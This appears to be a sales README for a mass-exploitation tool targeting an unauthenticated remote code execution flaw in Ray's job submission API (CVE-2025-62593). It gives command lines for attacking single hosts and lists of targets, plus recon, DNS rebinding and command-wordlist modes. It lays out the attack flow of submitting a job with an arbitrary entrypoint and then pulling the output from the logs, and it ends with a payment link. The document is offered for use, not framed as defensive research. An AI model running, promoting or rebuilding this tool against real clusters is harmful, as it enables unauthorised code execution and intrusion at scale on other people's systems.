CVE-2025-62593 — Ray Unauthenticated RCE Exploit

Overview

CVE-2025-62593 is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine. The root cause is the absence of authentication on critical HTTP endpoints (/api/jobs, /api/job_agent/jobs). An attacker can submit a Ray Job whose entrypoint is an arbitrary command, executing it on the cluster head node.

Quick Start

# Single target
python3 ray_rce_poc.py --target http://HOST:8265

# Mass scan (10 concurrent)
python3 ray_rce_poc.py --targets list.txt --command "id" -o results.json

# Recon mode (quick enumeration)
python3 ray_rce_poc.py --recon --targets list.txt

# DNS rebinding mode
python3 ray_rce_poc.py --dns-rebind --target http://HOST:8265 --rebind-host 10.0.0.1

# Wordlist scan
python3 ray_rce_poc.py --targets list.txt --wordlist commands.txt -o results.csv

Features

• Asyncio concurrency — configurable parallelism (default: 10), scans 1000 targets in same time as 1
• Retry + exponential back-off — 3 retries per request
• Progress bar + ETA — real-time ASCII progress
• Color output — ANSI colors (✓/✗/○)
• 3 output formats — JSON / CSV / JSONL (auto-detected from extension)
• Recon mode — quick enumeration without submitting jobs
• DNS rebinding mode — full RebindHTTPConnection implementation
• Wordlist mode — scan against command list
• Stdlib only — no external dependencies, Python 3.8+

Attack Flow

1. Submit job — POST /api/jobs/ with entrypoint running target command
2. Poll status — GET /api/jobs/ until job reaches terminal state
3. Retrieve logs — GET /api/jobs/{id}/logs to recover output

https://satoshi-box.com/pay/CSIgNt